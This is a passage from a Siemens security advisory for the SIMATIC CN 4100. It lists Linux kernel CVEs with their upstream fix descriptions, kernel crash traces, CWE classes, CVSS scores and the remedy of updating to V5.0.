it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 